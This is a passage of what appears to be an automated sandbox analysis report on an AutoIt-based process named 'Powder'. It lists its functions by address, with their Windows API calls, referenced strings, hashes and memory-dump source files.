DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00CE3E3E
MoveFileW.KERNEL32(?,?), ref: 00CE3E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00CE3E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00CE3E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00CE3EAC

Strings

\*.*, xrefs: 00CE3D41, 00CE3D4A, 00CE3D5F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: d062c0f7f37d3b48707d667502fd73a5488d94c94024b7a67b9bf564a08fd837
Instruction ID: 424032a4b14081166c41f16b98efb353498774dc68510c80273b9ed3b8826956
Opcode Fuzzy Hash: d062c0f7f37d3b48707d667502fd73a5488d94c94024b7a67b9bf564a08fd837
Instruction Fuzzy Hash: 6451803180128EAACF15EBE1C99B9EDB779AF11300F644165E852B3192EF316F09DB60

Function 00C95D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00C95D40

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

GetCurrentProcess.KERNEL32(?,00D10A18,00000000,00000000,?), ref: 00C95E07
IsWow64Process.KERNEL32(00000000), ref: 00C95E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00C95E54
FreeLibrary.KERNEL32(00000000), ref: 00C95E5F
GetSystemInfo.KERNEL32(00000000), ref: 00C95E90
GetSystemInfo.KERNEL32(00000000), ref: 00C95E9C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 65ee5c9daad15deda9c611225511f2d15844397282e7eeb906ee94b4557823ca
Instruction ID: 49a2385b5ecef63b6d0fed12093cb4b38d27882a2ca0293a10078fce6d52ccb6
Opcode Fuzzy Hash: 65ee5c9daad15deda9c611225511f2d15844397282e7eeb906ee94b4557823ca
Instruction Fuzzy Hash: 7291063154DBC0EECB32DB7884541AAFFE56F25300B984A9ED0D783B01D635BA48C769

Function 00CE4005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C92A58,?,00008000), ref: 00CA02A4

Part of subcall function 00CE4FEC: GetFileAttributesW.KERNEL32(?,00CE3BFE), ref: 00CE4FED

FindFirstFileW.KERNEL32(?,?), ref: 00CE407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 00CE40CC
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00CE40DD
FindClose.KERNEL32(00000000), ref: 00CE40F4
FindClose.KERNEL32(00000000), ref: 00CE40FD

Strings

\*.*, xrefs: 00CE404E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: a8f0447c514a656b10848dc058dc54bb6ef06d17af158be220e360a495d3335e
Instruction ID: 54febab678b59938970aaa31654dcc8ffe65ba439abf5c3a2d1535370bdcce6d
Opcode Fuzzy Hash: a8f0447c514a656b10848dc058dc54bb6ef06d17af158be220e360a495d3335e
Instruction Fuzzy Hash: FC316031008386AFC705FF60C8969AFB7A8BF95304F444A2DF9E582191EF35DA09D766

Function 00CE4148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00CE416D
Process32FirstW.KERNEL32(00000000,?), ref: 00CE417B
Process32NextW.KERNEL32(00000000,?), ref: 00CE419B
CloseHandle.KERNEL32(00000000), ref: 00CE4245

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7d70a5157aac8aa011abaa2bc42238b6be8b1eaa480778bd837fdaab4295693d
Instruction ID: 6218379258acb8a236492667c864f6fb88d69c822ebb701a15ef6b1591103a5a
Opcode Fuzzy Hash: 7d70a5157aac8aa011abaa2bc42238b6be8b1eaa480778bd837fdaab4295693d
Instruction Fuzzy Hash: B131E5711083429FD704EF51D886AAFBBE8FF95350F44092DFA91C21A1EB709A49CB52

Function 00C8B020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00C93740: CharUpperBuffW.USER32(?,00D471DC,00000000,?,00000000,00D471DC,?,00C853A5,?,?,?,?), ref: 00C9375D

_memmove.LIBCMT ref: 00C8B68A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 6f941af10e42532b7293fec036abaff171e455dc511ebcab82543082395c1a2e
Instruction ID: 95a68c2180b3e3484fc5b50c62c9e825054cec90059c6116aea5fcb8dee5a8bc
Opcode Fuzzy Hash: 6f941af10e42532b7293fec036abaff171e455dc511ebcab82543082395c1a2e
Instruction Fuzzy Hash: 48A28C70608781DFC724EF15C480B2AB7E1BF85308F18895DE8AA8B361D771EE45DB96

Function 00CE494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00CCFC86), ref: 00CE495A
FindFirstFileW.KERNEL32(?,?), ref: 00CE496B
FindClose.KERNEL32(00000000), ref: 00CE497B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 97d12d4f22b2f54f27a8c74788e476e1048ac3a8faeb4e0973bdea5b33810749
Instruction ID: deaef5a7a574bf75f2c83d67d2b247b4ede05658dda644ccede91ba314f4f921
Opcode Fuzzy Hash: 97d12d4f22b2f54f27a8c74788e476e1048ac3a8faeb4e0973bdea5b33810749
Instruction Fuzzy Hash: AEE0DF31810715BB82147738EC0D8EA7B5C9E0A339F104705F835D22E0EBB89A8886A6

Function 00C894E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99457cb64c575493e9662fe59d5745f4683ce308ec030756956e42177beb22a3
Instruction ID: 3f0c4bfc7a1adb68b53d66089fc03c53ca23a9b417f41b017461be7be713420f
Opcode Fuzzy Hash: 99457cb64c575493e9662fe59d5745f4683ce308ec030756956e42177beb22a3
Instruction Fuzzy Hash: 2322AF74A00216DFDB14EF54C880BBEB7B0FF05318F188169E856AB391E774AE81DB95

Function 00C8BC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00C8BF57

Part of subcall function 00C852B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C852E6

Sleep.KERNEL32(0000000A,?,?), ref: 00CC36B5

Strings

@COM_EVENTOBJ, xrefs: 00CC3D2E
@GUI_CTRLHANDLE, xrefs: 00CC3816
@TRAY_ID, xrefs: 00CC3FCD
@GUI_WINHANDLE, xrefs: 00CC37C1
CALL, xrefs: 00C8C277
@GUI_CTRLID, xrefs: 00CC376C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: d0ef27ee187002e95deb0115bb40f68e6044ce7588254c9208c31ca9c93f4ae3
Instruction ID: 1aeefd724d02871b854a58901cdc980f615658888448352a61706f866c7b4046
Opcode Fuzzy Hash: d0ef27ee187002e95deb0115bb40f68e6044ce7588254c9208c31ca9c93f4ae3
Instruction Fuzzy Hash: F6C2AF706083819FC728EF24C894FAEB7E0BF84304F14891DF59A972A1DB70EA45DB56

Function 00C92FC5 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA00CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00C93094), ref: 00CA00ED

Part of subcall function 00CA08C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00C9309F), ref: 00CA08E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00C930E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00CD01BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00CD01FB
RegCloseKey.ADVAPI32(?), ref: 00CD0239
_wcscat.LIBCMT ref: 00CD0292

Strings

H], xrefs: 00C93015
Include, xrefs: 00CD01B1, 00CD01F2
Software\AutoIt v3\AutoIt, xrefs: 00C930D8
\, xrefs: 00CD02B5
\Include\, xrefs: 00C9309F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: H]$Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-1181839193
Opcode ID: 1220d540ed1445ec6429f498a65b7e510b334b50efad3cfdde6636e222aca09d
Instruction ID: 5e5549a75c875b34cc54f74c17ca2fe961512272a5af742120bedc0082427c0d
Opcode Fuzzy Hash: 1220d540ed1445ec6429f498a65b7e510b334b50efad3cfdde6636e222aca09d
Instruction Fuzzy Hash: 28716C715057019FC704EF29E8869AFBBA8FF46380F44052EF555C32A0DFB09A48EB65

Function 00C833E6 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C83444
RegisterClassExW.USER32(00000030), ref: 00C8346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C8347F
InitCommonControlsEx.COMCTL32(?), ref: 00C8349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00C834AC
LoadIconW.USER32(000000A9), ref: 00C834C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00C834D1

Strings

0, xrefs: 00C83426
AutoIt v3 GUI, xrefs: 00C83460
TaskbarCreated, xrefs: 00C83474
+, xrefs: 00C8342D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 705bd460566e1e599f4b832ccb4a73c7a9fc2e17a01e53e0be7310946501e098
Instruction ID: 2c9a2363741bb5c5bc1ea2a821155d03b4e12320c68f0783e21219c14cc2a156
Opcode Fuzzy Hash: 705bd460566e1e599f4b832ccb4a73c7a9fc2e17a01e53e0be7310946501e098
Instruction Fuzzy Hash: 0B312975944309AFDB419FA4D889AC9BFF4FF09310F14415AE590E63A0D7B90586CFA1

Function 00C83411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C83444
RegisterClassExW.USER32(00000030), ref: 00C8346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C8347F
InitCommonControlsEx.COMCTL32(?), ref: 00C8349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00C834AC
LoadIconW.USER32(000000A9), ref: 00C834C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00C834D1

Strings

0, xrefs: 00C83426
AutoIt v3 GUI, xrefs: 00C83460
TaskbarCreated, xrefs: 00C83474
+, xrefs: 00C8342D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 9ae338ef08d13e59211eaa4d6ea9426befabdab1e8c1632bff4bddf333076fb0
Instruction ID: ba01e5b946f2ebd08805d0883a466d218577114316c9331ebf7fd9508a4b88a6
Opcode Fuzzy Hash: 9ae338ef08d13e59211eaa4d6ea9426befabdab1e8c1632bff4bddf333076fb0
Instruction Fuzzy Hash: 732190B5904319AFDB00AFA4E889ADDBBF4FB09710F10811AF514E63A0DBB15585CFA5

Function 00C9514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C95156
LoadCursorW.USER32(00000000,00007F00), ref: 00C95165
LoadIconW.USER32(00000063), ref: 00C9517C
LoadIconW.USER32(000000A4), ref: 00C9518E
LoadIconW.USER32(000000A2), ref: 00C951A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00C951C6
RegisterClassExW.USER32(?), ref: 00C9521C

Part of subcall function 00C83411: GetSysColorBrush.USER32(0000000F), ref: 00C83444
Part of subcall function 00C83411: RegisterClassExW.USER32(00000030), ref: 00C8346E
Part of subcall function 00C83411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C8347F
Part of subcall function 00C83411: InitCommonControlsEx.COMCTL32(?), ref: 00C8349C
Part of subcall function 00C83411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00C834AC
Part of subcall function 00C83411: LoadIconW.USER32(000000A9), ref: 00C834C2
Part of subcall function 00C83411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00C834D1

Strings

AutoIt v3, xrefs: 00C9520B
#, xrefs: 00C95201
0, xrefs: 00C951FA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 0c4e0f2c8476b49e6ba6d9ff93945beb2bd4925c425ee901a961da127f5108ea
Instruction ID: 3f56729ef0cf5088db6319186db045417b6a97eebf9c0dd20d1c62c711c89692
Opcode Fuzzy Hash: 0c4e0f2c8476b49e6ba6d9ff93945beb2bd4925c425ee901a961da127f5108ea
Instruction Fuzzy Hash: D8210379904308AFEB119FA4ED89B9D7BB4AB09710F00415AF504E63A0D7F655509FA8

Function 00CF5E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00CF5E7E
inet_addr.WSOCK32(?,?,?), ref: 00CF5EC3
gethostbyname.WS2_32(?), ref: 00CF5ECF
IcmpCreateFile.IPHLPAPI ref: 00CF5EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00CF5F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00CF5F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00CF5FD8
WSACleanup.WSOCK32 ref: 00CF5FDE

Strings

Ping, xrefs: 00CF5F01

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: ab996c5af35077d3e410b7ace7a5f0ec3437206f430abec98a3cef113102b249
Instruction ID: 0321083adfd399a303e6003353ccbdc1011e8914aec4d25a0c2a7504723f630c
Opcode Fuzzy Hash: ab996c5af35077d3e410b7ace7a5f0ec3437206f430abec98a3cef113102b249
Instruction Fuzzy Hash: 8851CF31604705AFCB60EF64CC49B2ABBE0EF48710F048569FB69DB2A0DB70E941DB52

Function 00C94D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00C94E22
KillTimer.USER32(?,00000001), ref: 00C94E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00C94E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C94E7A
CreatePopupMenu.USER32 ref: 00C94E8E
PostQuitMessage.USER32(00000000), ref: 00C94EAF

Strings

TaskbarCreated, xrefs: 00C94E75

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: a0053c5b1d1c025ab8fb93374a73d4627d755ed213d33fa3811a4044fa0f1afd
Instruction ID: ccb49b545a36324cd8d851c9e6bc665e9ab4d738978c9cac1c78719b62ec13a6
Opcode Fuzzy Hash: a0053c5b1d1c025ab8fb93374a73d4627d755ed213d33fa3811a4044fa0f1afd
Instruction Fuzzy Hash: 9441B17120820AABEF196F68DC4DFBEBA95F745300F140615F511D23E2CBA09E52A775

Function 00CF20E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00CF211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00CF2148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00CF218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00CF219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CF21AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00CF21DC
InternetCloseHandle.WININET(00000000), ref: 00CF2223

Part of subcall function 00CF2B4F: GetLastError.KERNEL32(?,?,00CF1EE3,00000000,00000000,00000001), ref: 00CF2B64
Part of subcall function 00CF2B4F: SetEvent.KERNEL32(?,?,00CF1EE3,00000000,00000000,00000001), ref: 00CF2B79

Strings

, xrefs: 00CF21CD

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 6cd3f5270eb02db044b304df92519c3eefd7321215143493f8a552478ed6efff
Instruction ID: 9634b9d0b7578fc4baabbec6df4c484f5df4a4f0f84510cd29d19b711e0aba5f
Opcode Fuzzy Hash: 6cd3f5270eb02db044b304df92519c3eefd7321215143493f8a552478ed6efff
Instruction Fuzzy Hash: D5414FB1501208BFEB529F50CC85FFF7BACEB08354F108116FA159A291DBB09E45DBA6

Function 00C956F8 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

